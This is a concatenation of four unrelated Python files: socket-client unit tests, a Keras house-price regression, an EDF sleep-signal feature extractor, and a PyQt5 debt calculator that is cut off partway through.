#/usr/bin/python3

import unittest
from unittest.loader import makeSuite
import msgpack
import sys
import os.path
import struct
import time
import uuid
import socket

dir = os.path.dirname(__file__)
os.chdir(dir)

sys.path.append('../client')
import client_functions

class DummySocket():

    def __init__(self):
        self.__sent_output : bytes
        self.__out_queue : bytes

    def sendall(self, buffer):
        self.__sent_output = buffer
        self.__out_queue = buffer

    def recv(self, length):
        output = self.__out_queue[:length]
        self.__out_queue = self.__out_queue[length:]
        return output

    def get_last_sent(self):
        return self.__sent_output

class TestSendEncoded(unittest.TestCase):

    def setUp(self):
        self.sock = DummySocket()
        self.message = "Lorem Ipsum"
        self.packed_message = msgpack.packb(self.message)
        self.message_len = len(self.packed_message)

        client_functions.send_encoded(self.sock, self.message)

    def test_struct_packing(self):
        message_len = struct.unpack(">I", self.sock.get_last_sent()[:4])[0]

        self.assertEqual(message_len, self.message_len)

    def test_decode(self):
        message = msgpack.unpackb(self.sock.get_last_sent()[4:])

        self.assertEqual(message, self.message)

class TestHelperFunctions(unittest.TestCase):

    def setUp(self):
        self.sock = DummySocket()
        self.message = "Lorem Ipsum"
        self.packed_message = msgpack.packb(self.message)

    def test_unpacking(self):
        message = client_functions.unpack_message(self.packed_message)

        self.assertEqual(self.message, message)

    def test_recv_all(self):

        numbers = "01234"
        self.sock.sendall(numbers.encode("UTF-8"))

        for i in range(5):
            number = client_functions.recv_all(self.sock, 1)
            self.assertEqual(number.decode("UTF-8"), numbers[i])

class TestAuthenticate(unittest.TestCase):

    def setUp(self):
        self.sock = DummySocket()
        self.user = "test_user"
        self.uuid = str(uuid.uuid3(uuid.NAMESPACE_DNS, socket.gethostname()))
        self.message = {
            "type" : "auth",
            "user" : self.user,
            "uuid" : self.uuid,
            "time" : time.time()
        }
        self.packed_message = msgpack.packb(self.message)
        self.message_len = len(self.packed_message)

        client_functions.authenticate(self.sock, self.user)

    def test_message_len(self):
        message_len = struct.unpack('>I', self.sock.get_last_sent()[:4])[0]

        self.assertEqual(message_len, self.message_len)

    def test_authenticate_message(self):
        packed_message = self.sock.get_last_sent()
        message = msgpack.unpackb(packed_message[4:])

        self.assertEqual(message["type"], "auth")
        self.assertEqual(message["user"], self.user)
        self.assertEqual(message["uuid"], self.uuid)

class TestTextMessage(unittest.TestCase):

    def setUp(self):
        self.sock = DummySocket()
        self.user = "test_user"
        self.recipient = "test_user2"
        self.content = "Lorem ipsum"
        self.message = {
            "type" : "text",
            "content" : self.content,
            "author" : self.user,
            "recipient" : self.recipient,
            "time" : time.time()
        }
        self.packed_message = msgpack.packb(self.message)
        self.message_len = len(self.packed_message)

        client_functions.text_message(
            self.sock,
            self.content,
            self.user,
            self.recipient
        )

    def test_message_len(self):
        message_len = struct.unpack('>I', self.sock.get_last_sent()[:4])[0]

        self.assertEqual(message_len, self.message_len)

    def test_text_message(self):
        packed_message = self.sock.get_last_sent()
        message = msgpack.unpackb(packed_message[4:])

        self.assertEqual(message["type"], "text")
        self.assertEqual(message["content"], self.content)
        self.assertEqual(message["author"], self.user)
        self.assertEqual(message["recipient"], self.recipient)

class TestCloseConnection(unittest.TestCase):

    def setUp(self):
        self.sock = DummySocket()

        self.message = {
            "type" : "close",
            "time" : time.time()
        }
        self.packed_message = msgpack.packb(self.message)
        self.message_len = len(self.packed_message)

        client_functions.close_connection(self.sock)

    def test_message_len(self):
        message_len = struct.unpack('>I', self.sock.get_last_sent()[:4])[0]

        self.assertEqual(message_len, self.message_len)

    def test_close_messaege(self):
        packed_message = self.sock.get_last_sent()
        message = msgpack.unpackb(packed_message[4:])

        self.assertEqual(message["type"], self.message["type"])

class TestGetMessage(unittest.TestCase):

    def setUp(self):
        self.sock = DummySocket()

        self.message = "Lorem Ipsum"
        self.packed_message = msgpack.packb(self.message)
        self.message_len = len(self.packed_message)

        client_functions.send_encoded(self.sock, self.message)

    def test_message(self):
        message = client_functions.get_message(self.sock)

        self.assertEqual(message, self.message)

if __name__ == "__main__":
    unittest.main()


from matplotlib import pyplot as plt
import numpy as np
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import LabelEncoder, MinMaxScaler
from tensorflow import keras
from keras import layers
from keras.utils import plot_model

# Load the dataset
df = pd.read_csv('Data/newCleanData3.tsv',sep='\t')  # Replace 'house_data.csv' with your dataset file

# Preprocess the data
X = df.drop(['precio','titulo','direccion','Colonia','ciudad'], axis=1)
y = df['precio']

scaler = MinMaxScaler()
X= scaler.fit_transform(X)

# Split the data into training and testing sets
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)

# Determine the embedding size for the categorical feature

# Define the model
model = keras.Sequential([
    layers.Dense(128, activation='relu'),
    layers.Dense(128, activation='relu'),
    layers.Dense(1)
])

# Compile the model
model.compile(optimizer='adam', loss='mse')

# Train the model
history = model.fit(X_train, y_train, epochs=500, batch_size=32, verbose=1)
plot_model(model, to_file='model.png', show_shapes=True)

# Evaluate the model
loss = model.evaluate(X_test, y_test, verbose=0)
print(f'Test loss: {loss}')

# Make predictions
predictions = model.predict(X_test)

# Print the first few predictions
for i in range(5):
    print(f'Predicted price: {predictions[i][0]}, Actual price: {y_test.iloc[i]}')

#Show data
plt.figure(0)
plt.plot(history.history['loss'])
plt.plot()
plt.yscale('log')
plt.title('Model Loss')
plt.xlabel('Epoch')
plt.ylabel('Loss')

plt.figure(1)
plt.scatter(y_test, predictions)
x = np.linspace(0,int(y_test.values.max()))
y = x
plt.plot(x, y, color='red', label="y = y'")
plt.xlabel('Actual Price')
plt.ylabel('Predicted Price')
plt.title('Actual vs Predicted Prices')
plt.show()


import os
import pyedflib
from scipy.stats import kurtosis
import csv
import xml.dom.minidom
import datetime
import numpy as np
import pandas as pd
np.seterr(divide='ignore', invalid='ignore')
###########  Global Variable ##############
epoch = 10  # Config Epoch as 5s 10s 15s 30s #
PathOutputFileName = ""
XMLPath = ""

###########################################

def chunks(ls, n):
    return np.asarray([np.asarray(ls[i:i + n]) for i in range(0, len(ls), n)])

###################  Section read EDF file ##################
def ReadEDFFile(Path, FileName):
    f = pyedflib.EdfReader(Path)
    minN = min(f.getNSamples())
    ######## Frequency 1 Hz ##########
    SaO2 = chunks(f.readSignal(0), (int)(f.getSampleFrequencies()[0] * epoch))
    PR = chunks(f.readSignal(1), (int)(f.getSampleFrequencies()[1] * epoch))
    Position = chunks(f.readSignal(11), (int)(f.getSampleFrequencies()[11] * epoch))
    light = chunks(f.readSignal(12), (int)(f.getSampleFrequencies()[12] * epoch))
    ox_stat = chunks(f.readSignal(13), (int)(f.getSampleFrequencies()[13] * epoch))
    ######## Frequency 10 Hz ###########
    airflow = chunks(f.readSignal(8), (int)(f.getSampleFrequencies()[8] * epoch))
    ThorRes = chunks(f.readSignal(9), (int)(f.getSampleFrequencies()[9] * epoch))
    AbdoRes = chunks(f.readSignal(10), (int)(f.getSampleFrequencies()[10] * epoch))
    ########  Frequency 50 Hz ##########
    EOG_L = chunks(f.readSignal(5), (int)(f.getSampleFrequencies()[5] * epoch))
    EOG_R = chunks(f.readSignal(6), (int)(f.getSampleFrequencies()[6] * epoch))
    ######### Frequency 125 Hz ########
    EEG_sec = chunks(f.readSignal(2), (int)(f.getSampleFrequencies()[2] * epoch))
    EEG = chunks(f.readSignal(7), (int)(f.getSampleFrequencies()[7] * epoch))
    EMG = chunks(f.readSignal(4), (int)(f.getSampleFrequencies()[4]* epoch))
    ######## Frequency 250 Hz #########
    ECG = chunks(f.readSignal(3), (int)(f.getSampleFrequencies()[3] * epoch))
    ##################################
    f._close()
    loopEpoch = (int)(minN / epoch)
    #print(str(loopEpoch)+' Hr')
    People = []
    XML = [f for f in os.listdir(XMLPath) if f.endswith(".xml") and f == str(FileName.split(".edf")[0])+"-profusion.xml"]
    print(XML)
    fullpath = XMLPath+"\\"+XML[0]
    #print(fullpath)
    DOMTree = xml.dom.minidom.parse(fullpath)
    collection = DOMTree.documentElement
    stagesXML = collection.getElementsByTagName("SleepStage")
    stagesSeparate = []
    stagesALL=[]
    valE = (int)(30/epoch )
    for i in range(len(stagesXML)):
        stagesSeparate.append([(int)(stagesXML[i].childNodes[0].data)]*valE)
    del stagesXML
    for i in range(len(stagesSeparate)):
        for j in range(valE):
            stagesALL.append(stagesSeparate[i][j])
    del stagesSeparate
    ######################   min max avf std kurtosis stroe in variable  ##############################

    minSaO2=[min(f) for f in SaO2]
    minPR=[min(f) for f in PR]
    minPosition =[min(f) for f in Position]
    minLight =[min(f) for f in light]
    minOX_stat =[min(f) for f in ox_stat]
    minAirflow  =[min(f) for f in airflow]
    minThorRes =[min(f) for f in ThorRes]
    minAbdoRes =[min(f) for f in AbdoRes]
    minEOG_L=[min(f) for f in EOG_L]
    minEOG_R=[min(f) for f in EOG_R]
    minEEG_sec=[min(f) for f in EEG_sec]
    minEEG=[min(f) for f in EEG]
    minECG=[min(f) for f in ECG]
    minEMG=[min(f) for f in EMG]

    maxSaO2=[max(f) for f in SaO2]
    maxPR=[max(f) for f in PR]
    maxPosition=[max(f) for f in Position]
    maxLight=[max(f) for f in light]
    maxOX_stat=[max(f) for f in ox_stat]
    maxAirflow =[max(f) for f in airflow]
    maxThorRes=[max(f) for f in ThorRes]
    maxAbdoRes = [max(f) for f in AbdoRes]
    maxEOG_L=[max(f) for f in EOG_L]
    maxEOG_R=[max(f) for f in EOG_R]
    maxEEG_sec=[max(f) for f in EEG_sec]
    maxEEG=[max(f) for f in EEG]
    maxECG=[max(f) for f in ECG]
    maxEMG = [max(f) for f in EMG]
    #print(len(maxECG),maxECG)

    avgSaO2=[np.mean(f) for f in SaO2]
    avgPR=[np.mean(f) for f in PR]
    avgPosition=[np.mean(f) for f in Position]
    avgLight=[np.mean(f) for f in light]
    avgOX_stat=[np.mean(f) for f in ox_stat]
    avgAirflow=[np.mean(f) for f in airflow]
    avgThorRes=[np.mean(f) for f in ThorRes]
    avgAbdoRes = [np.mean(f) for f in AbdoRes]
    avgEOG_L=[np.mean(f) for f in EOG_L]
    avgEOG_R=[np.mean(f) for f in EOG_R]
    avgEEG_sec=[np.mean(f) for f in EEG_sec]
    avgEEG=[np.mean(f) for f in EEG]
    avgECG=[np.mean(f) for f in ECG]
    avgEMG = [np.mean(f) for f in EMG]

    sdSaO2=[np.std(f) for f in SaO2]
    sdPR=[np.std(f) for f in PR]
    sdPosition=[np.std(f) for f in Position]
    sdLight=[np.std(f) for f in light]
    sdOX_stat=[np.std(f) for f in ox_stat]
    sdAirflow=[np.std(f) for f in airflow]
    sdThorRes=[np.std(f) for f in ThorRes]
    sdAbdoRes = [np.std(f) for f in AbdoRes]
    sdEOG_L=[np.std(f) for f in EOG_L]
    sdEOG_R=[np.std(f) for f in EOG_R]
    sdEEG_sec=[np.std(f) for f in EEG_sec]
    sdEEG=[np.std(f) for f in EEG]
    sdECG=[np.std(f) for f in ECG]
    sdEMG = [np.std(f) for f in EMG]

    kurtosisSaO2=[kurtosis(f) for f in SaO2]
    kurtosisPR=[kurtosis(f) for f in PR]
    kurtosisPosition=[kurtosis(f) for f in Position]
    kurtosisLight=[kurtosis(f) for f in light]
    kurtosisOX_stat=[kurtosis(f) for f in ox_stat]
    kurtosisAirflow=[kurtosis(f) for f in airflow]
    kurtosisThorRes=[kurtosis(f) for f in ThorRes]
    kurtosisAbdoRes = [kurtosis(f) for f in AbdoRes]
    kurtosisEOG_L=[kurtosis(f) for f in EOG_L]
    kurtosisEOG_R=[kurtosis(f) for f in EOG_R]
    kurtosisEEG_sec=[kurtosis(f) for f in EEG_sec]
    kurtosisEEG=[kurtosis(f) for f in EEG]
    kurtosisECG=[kurtosis(f) for f in ECG]
    kurtosisEMG = [kurtosis(f) for f in EMG]

    ############################   Calulate normalization ##########################################
    minSaO2 = (minSaO2 - min(minSaO2)) / (max(minSaO2) - min(minSaO2))
    maxSaO2 = (maxSaO2 - min(maxSaO2)) / (max(maxSaO2) - min(maxSaO2))
    avgSaO2 = (avgSaO2 - min(avgSaO2)) / (max(avgSaO2) - min(avgSaO2))
    sdSaO2 = (sdSaO2 - min(sdSaO2)) / (max(sdSaO2) - min(sdSaO2))
    kurtosisSaO2 = np.round((np.asarray(kurtosisSaO2) - min(kurtosisSaO2)) / (max(kurtosisSaO2) - min(kurtosisSaO2)),10)

    minPR = (minPR - min(minPR)) / (max(minPR) - min(minPR))
    maxPR = (maxPR - min(maxPR)) / (max(maxPR) - min(maxPR))
    avgPR = (avgPR - min(avgPR)) / (max(avgPR) - min(avgPR))
    sdPR = (sdPR - min(sdPR)) / (max(sdPR) - min(sdPR))
    kurtosisPR = np.round((np.asarray(kurtosisPR) - min(kurtosisPR)) / (max(kurtosisPR) - min(kurtosisPR)),10)

    minPosition = (minPosition - min(minPosition)) / (max(minPosition) - min(minPosition))
    maxPosition = (maxPosition - min(maxPosition)) / (max(maxPosition) - min(maxPosition))
    avgPosition = (avgPosition - min(avgPosition)) / (max(avgPosition) - min(avgPosition))
    sdPosition = (sdPosition - min(sdPosition)) / (max(sdPosition) - min(sdPosition))
    kurtosisPosition = np.round((np.asarray(kurtosisPosition) - min(kurtosisPosition)) / (max(kurtosisPosition) - min(kurtosisPosition)),10)

    minLight = (minLight - min(minLight)) / (max(minLight) - min(minLight))
    maxLight = (maxLight - min(maxLight)) / (max(maxLight) - min(maxLight))
    avgLight = (avgLight - min(avgLight)) / (max(avgLight) - min(avgLight))
    sdLight = (sdLight - min(sdLight)) / (max(sdLight) - min(sdLight))
    kurtosisLight = np.round((np.asarray(kurtosisLight) - min(kurtosisLight)) / (max(kurtosisLight) - min(kurtosisLight)),10)

    minOX_stat = (minOX_stat - min(minOX_stat)) / (max(minOX_stat) - min(minOX_stat))
    maxOX_stat = (maxOX_stat - min(maxOX_stat)) / (max(maxOX_stat) - min(maxOX_stat))
    avgOX_stat = (avgOX_stat - min(avgOX_stat)) / (max(avgOX_stat) - min(avgOX_stat))
    sdOX_stat = (sdOX_stat - min(sdOX_stat)) / (max(sdOX_stat) - min(sdOX_stat))
    kurtosisOX_stat = np.round((np.asarray(kurtosisOX_stat) - min(kurtosisOX_stat)) / (max(kurtosisOX_stat) - min(kurtosisOX_stat)),10)

    minAirflow = (minAirflow - min(minAirflow)) / (max(minAirflow) - min(minAirflow))
    maxAirflow = (maxAirflow - min(maxAirflow)) / (max(maxAirflow) - min(maxAirflow))
    avgAirflow = (avgAirflow - min(avgAirflow)) / (max(avgAirflow) - min(avgAirflow))
    sdAirflow = (sdAirflow - min(sdAirflow)) / (max(sdAirflow) - min(sdAirflow))
    kurtosisAirflow = np.round((np.asarray(kurtosisAirflow) - min(kurtosisAirflow)) / (max(kurtosisAirflow) - min(kurtosisAirflow)),10)

    minThorRes = (minThorRes - min(minThorRes)) / (max(minThorRes) - min(minThorRes))
    maxThorRes = (maxThorRes - min(maxThorRes)) / (max(maxThorRes) - min(maxThorRes))
    avgThorRes = (avgThorRes - min(avgThorRes)) / (max(avgThorRes) - min(avgThorRes))
    sdThorRes = (sdThorRes - min(sdThorRes)) / (max(sdThorRes) - min(sdThorRes))
    kurtosisThorRes = np.round((np.asarray(kurtosisThorRes) - min(kurtosisThorRes)) / (max(kurtosisThorRes) - min(kurtosisThorRes)),10)

    minAbdoRes = (minAbdoRes - min(minAbdoRes)) / (max(minAbdoRes) - min(minAbdoRes))
    maxAbdoRes = (maxAbdoRes - min(maxAbdoRes)) / (max(maxAbdoRes) - min(maxAbdoRes))
    avgAbdoRes = (avgAbdoRes - min(avgAbdoRes)) / (max(avgAbdoRes) - min(avgAbdoRes))
    sdAbdoRes = (sdAbdoRes - min(sdAbdoRes)) / (max(sdAbdoRes) - min(sdAbdoRes))
    kurtosisAbdoRes = np.round((np.asarray(kurtosisAbdoRes) - min(kurtosisAbdoRes)) / (max(kurtosisAbdoRes) - min(kurtosisAbdoRes)),10)

    minEOG_L = (minEOG_L - min(minEOG_L)) / (max(minEOG_L) - min(minEOG_L))
    maxEOG_L = (maxEOG_L - min(maxEOG_L)) / (max(maxEOG_L) - min(maxEOG_L))
    avgEOG_L = (avgEOG_L - min(avgEOG_L)) / (max(avgEOG_L) - min(avgEOG_L))
    sdEOG_L = (sdEOG_L - min(sdEOG_L)) / (max(sdEOG_L) - min(sdEOG_L))
    kurtosisEOG_L = np.round((np.asarray(kurtosisEOG_L) - min(kurtosisEOG_L)) / (max(kurtosisEOG_L) - min(kurtosisEOG_L)),10)

    minEOG_R = (minEOG_R - min(minEOG_R)) / (max(minEOG_R) - min(minEOG_R))
    maxEOG_R = (maxEOG_R - min(maxEOG_R)) / (max(maxEOG_R) - min(maxEOG_R))
    avgEOG_R = (avgEOG_R - min(avgEOG_R)) / (max(avgEOG_R) - min(avgEOG_R))
    sdEOG_R = (sdEOG_R - min(sdEOG_R)) / (max(sdEOG_R) - min(sdEOG_R))
    kurtosisEOG_R = np.round((np.asarray(kurtosisEOG_R) - min(kurtosisEOG_R)) / (max(kurtosisEOG_R) - min(kurtosisEOG_R)),10)

    minEEG_sec = (minEEG_sec - min(minEEG_sec)) / (max(minEEG_sec) - min(minEEG_sec))
    maxEEG_sec = (maxEEG_sec - min(maxEEG_sec)) / (max(maxEEG_sec) - min(maxEEG_sec))
    avgEEG_sec = (avgEEG_sec - min(avgEEG_sec)) / (max(avgEEG_sec) - min(avgEEG_sec))
    sdEEG_sec = (sdEEG_sec - min(sdEEG_sec)) / (max(sdEEG_sec) - min(sdEEG_sec))
    kurtosisEEG_sec = np.round((np.asarray(kurtosisEEG_sec) - min(kurtosisEEG_sec)) / (max(kurtosisEEG_sec) - min(kurtosisEEG_sec)),10)

    minEEG = (minEEG - min(minEEG)) / (max(minEEG) - min(minEEG))
    maxEEG = (maxEEG - min(maxEEG)) / (max(maxEEG) - min(maxEEG))
    avgEEG = (avgEEG - min(avgEEG)) / (max(avgEEG) - min(avgEEG))
    sdEEG = (sdEEG - min(sdEEG)) / (max(sdEEG) - min(sdEEG))
    kurtosisEEG = np.round((np.asarray(kurtosisEEG) - min(kurtosisEEG)) / (max(kurtosisEEG) - min(kurtosisEEG)),10)

    minECG = (minECG - min(minECG)) / (max(minECG) - min(minECG))
    if max(maxECG)-min(maxECG) ==0 :
        maxECG = maxECG/max(maxECG)
    else:
        maxECG = (maxECG - min(maxECG)) / (max(maxECG) - min(maxECG))

    avgECG = (avgECG - min(avgECG)) / (max(avgECG) - min(avgECG))
    sdECG = (sdECG - min(sdECG)) / (max(sdECG) - min(sdECG))
    kurtosisECG = np.round((np.asarray(kurtosisECG) - min(kurtosisECG)) / (max(kurtosisECG) - min(kurtosisECG)),10)

    minEMG = (minEMG - min(minEMG)) / (max(minEMG) - min(minEMG))
    maxEMG = (maxEMG - min(maxEMG)) / (max(maxEMG) - min(maxEMG))
    avgEMG = (avgEMG - min(avgEMG)) / (max(avgEMG) - min(avgEMG))
    sdEMG = (sdEMG - min(sdEMG)) / (max(sdEMG) - min(sdEMG))
    kurtosisECG = np.round((np.asarray(kurtosisEMG) - min(kurtosisEMG)) / (max(kurtosisEMG) - min(kurtosisEMG)),10)

    ######################################################################
    for I in range(loopEpoch):

        ALL = [FileName.split('.edf')[0],I+1,
               minSaO2[I], maxSaO2[I], avgSaO2[I], sdSaO2[I], kurtosisSaO2[I],
               minPR[I], maxPR[I], avgPR[I], sdPR[I], kurtosisPR[I],
               minPosition[I], maxPosition[I], avgPosition[I], sdPosition[I], kurtosisPosition[I],
               minLight[I], maxLight[I], avgLight[I], sdLight[I], kurtosisLight[I],
               minOX_stat[I], maxOX_stat[I], avgOX_stat[I], sdOX_stat[I], kurtosisOX_stat[I],
               minAirflow[I], maxAirflow[I], avgAirflow[I], sdAirflow[I], kurtosisAirflow[I],
               minThorRes[I], maxThorRes[I], avgThorRes[I], sdThorRes[I], kurtosisThorRes[I],
               minAbdoRes[I], maxAbdoRes[I], avgAbdoRes[I], sdAbdoRes[I], kurtosisAbdoRes[I],
               minEOG_L[I], maxEOG_L[I], avgEOG_L[I], sdEOG_L[I], kurtosisEOG_L[I],
               minEOG_R[I], maxEOG_R[I], avgEOG_R[I], sdEOG_R[I], kurtosisEOG_R[I],
               minEEG_sec[I], maxEEG_sec[I], avgEEG_sec[I], sdEEG_sec[I], kurtosisEEG_sec[I],
               minEEG[I], maxEEG[I], avgEEG[I], sdEEG[I], kurtosisEEG[I],
               minECG[I], maxECG[I], avgECG[I], sdECG[I], kurtosisECG[I],
               minEMG[I], maxEMG[I], avgEMG[I], sdEMG[I], kurtosisEMG[I],
               stagesALL[I]
               ]
        People.append(ALL)
        ALL=[]
    del SaO2,PR,Position,light,ox_stat,airflow,ThorRes,AbdoRes
    del EOG_R,EOG_L,EEG_sec,EEG,ECG,EMG

    for i in People:
        WriteHeaderCSV(i)

    del People

############### end section read file EDF ##############

########################  Write CSV File #############################################

def WriteHeaderCSV(listData):
    if os.path.isfile(PathOutputFileName):
        #print(" Save to CSV File")
        with open(PathOutputFileName, 'a' , newline='') as csvfile:
            spamwriter = csv.writer(csvfile, delimiter=',', quoting=csv.QUOTE_MINIMAL)
            spamwriter.writerow(listData)

    else:
        ###Create header og CSV as e1_EEG(sec) mean epoch 1 of signal EEG
        print("Create file")

        Signal = ['subject','epoch',
                  'SaO2_min', 'SaO2_max', 'SaO2_avg', 'SaO2_SD', 'SaO2_kurtosis',
                  'PR_min', 'PR_max', 'PR_avg', 'PR_SD', 'PR_kurtosis',
                  'position_min', 'position_max', 'position_avg', 'position_SD', 'position_kurtosis',
                  'light_min', 'light_max', 'light_avg', 'light_SD', 'light_kurtosis',
                  'ox_stat_min', 'ox_stat_max', 'ox_stat_avg', 'ox_stat_SD', 'ox_stat_kurtosis',
                  'airflow_min', 'airflow_max', 'airflow_avg', 'airflow_SD', 'airflow_kurtosis',
                  'ThorRes_min', 'ThorRes_max', 'ThorRes_avg', 'ThorRes_SD', 'ThorRes_kurtosis',
                  'AbdoRes_min', 'AbdoRes_max', 'AbdoRes_avg', 'AbdoRes_SD', 'AbdoRes_kurtosis',
                  'EOG(L)_min', 'EOG(L)_max', 'EOG(L)_avg', 'EOG(L)_SD', 'EOG(L)_kurtosis',
                  'EOG(R)_min', 'EOG(R)_max', 'EOG(R)_avg', 'EOG(R)_SD', 'EOG(R)_kurtosis',
                  'EEG(sec)_min', 'EEG(sec)_max', 'EEG(sec)_avg', 'EEG(sec)_SD', 'EEG(sec)_kurtosis',
                  'EEG_min', 'EEG_max', 'EEG_avg', 'EEG_SD', 'EEG_kurtosis',
                  'ECG_min', 'ECG_max', 'ECG_avg', 'ECG_SD', 'ECG_kurtosis',
                  'EMG_min', 'EMG_max', 'EMG_avg', 'EMG_SD', 'EMG_kurtosis',
                  'stage']

        with open(PathOutputFileName, 'w',newline='') as csvfile:
            spamwriter = csv.writer(csvfile, delimiter=',', quoting=csv.QUOTE_MINIMAL)
            spamwriter.writerow(Signal)
            spamwriter.writerow(listData)
            print("Save to CSV File")

########################################################################################

#########################  Main #######################################################
if __name__ == '__main__':
    ### You must create folder name = "edf" and put file .edf in folder ###
	#print("This program is separate each epoch to each row and ####  Normalization Data #####")
    epoch = (int)(input("Enter epoch do you want (ex. 5,10,15,30): "))
    mypath = input("Enter Directory keep EDF File: ")
    XMLPath = input("Enter path of XML File:")
    FileName = [f for f in os.listdir(mypath) if f.endswith(".edf")]
    PathOutputFileName = input("Enter path to keep CSV File: ") + "\\"
    OutputFileName = "SeparateEachEpochPerRow_Signal_"+str(epoch)+"s_normalization.csv"
    start = datetime.datetime.now()

    PathOutputFileName = PathOutputFileName + OutputFileName
    print(PathOutputFileName)
    countFile = len(FileName)
    i = 1
    for numFile in FileName:
        fullpath = mypath + "\\" + numFile
        print("#" + str(i) + " in " + str(countFile) + "-----------------" + numFile + "-----------------")
        ReadEDFFile(fullpath, numFile)
        i = i + 1
        # WriteHeaderCSV(FileName)
    end = datetime.datetime.now()
    print("start:",start)
    print("end:",end)
    print("total:",end-start)
#########################  End Main  ##################################################


import sys
import json

from dialogBoxes import MultipleInputDialog
from databaseManager import DBManager

from Resources.design import Ui_MainWindow
from PyQt5 import QtWidgets
from PyQt5.QtGui import QIcon
from PyQt5.QtWidgets import QTableWidgetItem
from PyQt5.QtWidgets import QMessageBox

class DebtCalculator(QtWidgets.QMainWindow):
    def __init__(self):
        super().__init__()
        self.uiManager = Ui_MainWindow()
        self.uiManager.setupUi(self)

        # Attributes
        # *************
        with open("Data/texts.json") as file:
            self.textDict = json.load(file)
        self.user1Name = self.textDict["user1"]
        self.user2Name = self.textDict["user2"]
        # *************

        self.setWindowTitle("Debt Calculator")
        self.setWindowIcon(QIcon("Resources/iconDebt.png"))
        self.setFixedSize(self.width(), self.height())
        self.uiManager.tableUser1toUser2.hideColumn(0)
        self.uiManager.tableUser2toUser1.hideColumn(0)

        self.initTexts()
        self.calculateDebt("user1", 0)
        self.calculateDebt("user2", 0)
        self.initActions()

        self.loadTables()

    def initActions(self):
        self.uiManager.btnAddEntryUser1.clicked.connect(self.action_btnAddEntryUser1)
        self.uiManager.btnAddEntryUser2.clicked.connect(self.action_btnAddEntryUser2)

        self.uiManager.btnChangeUser1Name.clicked.connect(self.action_btnChangeUser1Name)
        self.uiManager.btnChangeUser2Name.clicked.connect(self.action_btnChangeUser2Name)

        self.uiManager.btnDeleteEntryUser1.clicked.connect(self.action_btnDeleteEntryUser1)
        self.uiManager.btnDeleteEntryUser2.clicked.connect(self.action_btnDeleteEntryUser2)

        self.uiManager.tableUser1toUser2.cellDoubleClicked.connect(self.action_tableUser1toUser2CellDoubleClicked)
        self.uiManager.tableUser2toUser1.cellDoubleClicked.connect(self.action_tableUser2toUser1CellDoubleClicked)

        self.uiManager.btnClearTable1.clicked.connect(self.action_btnClearTable1)
        self.uiManager.btnClearTable2.clicked.connect(self.action_btnClearTable2)

    def initTexts(self):
        self.user1Name = self.textDict["user1"]
        self.user2Name = self.textDict["user2"]

        self.uiManager.labelUser1_1.setText(self.user1Name)
        self.uiManager.labelUser2_1.setText(self.user2Name)
        self.uiManager.labelUser1_2.setText(self.user1Name)
        self.uiManager.labelUser2_2.setText(self.user2Name)

        self.uiManager.btnChangeUser1Name.setText("Rename '{}'".format(self.user1Name))
        self.uiManager.btnChangeUser2Name.setText("Rename '{}'".format(self.user2Name))

    def loadTables(self):
        dbManager = DBManager()
        dataList = dbManager.getRows("debtUser1toUser2")

        self.uiManager.tableUser1toUser2.setRowCount(len(dataList))
        for ix, data in enumerate(dataList):
            self.uiManager.tableUser1toUser2.setItem(ix, 0, QTableWidgetItem(str(data[0])))
            self.uiManager.tableUser1toUser2.setItem(ix, 1, QTableWidgetItem(data[1]))
            self.uiManager.tableUser1toUser2.setItem(ix, 2, QTableWidgetItem(str(data[2])))
            self.uiManager.tableUser1toUser2.setItem(ix, 3, QTableWidgetItem(data[3]))

        dataList = dbManager.getRows("debtUser2toUser1")

        self.uiManager.tableUser2toUser1.setRowCount(len(dataList))
        for ix, data in enumerate(dataList):
            self.uiManager.tableUser2toUser1.setItem(ix, 0, QTableWidgetItem(str(data[0])))
            self.uiManager.tableUser2toUser1.setItem(ix, 1, QTableWidgetItem(data[1]))
            self.uiManager.tableUser2toUser1.setItem(ix, 2, QTableWidgetItem(str(data[2])))
            self.uiManager.tableUser2toUser1.setItem(ix, 3, QTableWidgetItem(data[3]))

    def calculateDebt(self, whichUser: str, value: float):
        if whichUser == "user1":
            self.textDict["debtFromUser1ToUser2"] += value
            with open("Data/texts.json", "w") as file:
                json.dump(self.textDict, file)
            self.uiManager.labelTotalUser1.setText(f"Total: {self.textDict['debtFromUser1ToUser2']}")
        elif whichUser == "user2":
            self.textDict["debtFromUser2ToUser1"] += value
            with open("Data/texts.json", "w") as file:
                json.dump(self.textDict, file)
            self.uiManager.labelTotalUser2.setText(f"Total: {self.textDict['debtFromUser2ToUser1']}")
        self.netDebt()

    def netDebt(self):
        u1_to_u2 = self.textDict["debtFromUser1ToUser2"]
        u2_to_u1 = self.textDict["debtFromUser2ToUser1"]
        text = ""
        if u2_to_u1 == u1_to_u2:
            text = "Net debt is zero."
        elif u1_to_u2 > u2_to_u1:
            debt = u1_to_u2 - u2_to_u1
            if len(str(debt).split(".")[1]) > 3:
                debt = float(str(debt)[:-(len(str(debt).split(".")[1]) - 3)])
            text = f"{self.user1Name}\nowes {debt} to\n{self.user2Name}"
        elif u2_to_u1 > u1_to_u2:
            debt = u2_to_u1 - u1_to_u2
            if len(str(debt).split(".")[1]) > 3:
                debt = float(str(debt)[:-(len(str(debt).split(".")[1]) - 3)])
            text = f"{self.user2Name}\nowes {debt} to\n{self.user1Name}"
        self.uiManager.labelNetDebt.setText(text)

    def action_btnAddEntryUser1(self):
        inputBox = MultipleInputDialog(parent=self, windowTitle="New Entry", labelArr=["Name:", "Debt:", "Date:"])
        response = inputBox.exec()
        if response == 1:
            newEntryData = inputBox.getResult()
            if newEntryData[0] == '' or newEntryData[1] == '' or newEntryData[2] == '':
                msgBox = QMessageBox(parent=self)

                msgBox.setWindowTitle("Alert!")
                msgBox.setText("You must fill all the blanks.")
                msgBox.setStandardButtons(QMessageBox.Ok)

                msgBox.exec()
            else:
                name, debt, date = newEntryData
                try:
                    debt = float(debt)
                except Exception as err:
                    print("Error Message -> ", err)
                    msgBox = QMessageBox(parent=self)

                    msgBox.setWindowTitle("Alert!")
                    msgBox.setText("Debt must be numerical.")
                    msgBox.setStandardButtons(QMessageBox.Ok)

                    msgBox.exec()
                    return
                dbManager = DBManager()
                dbManager.addRow("debtUser1toUser2", name, debt, date)
                self.loadTables()
                self.calculateDebt("user1", debt)

    def action_btnAddEntryUser2(self):
        inputBox = MultipleInputDialog(parent=self, windowTitle="New Entry", labelArr=["Name:", "Debt:", "Date:"])
        response = inputBox.exec()
        if response == 1:
            newEntryData = inputBox.getResult()
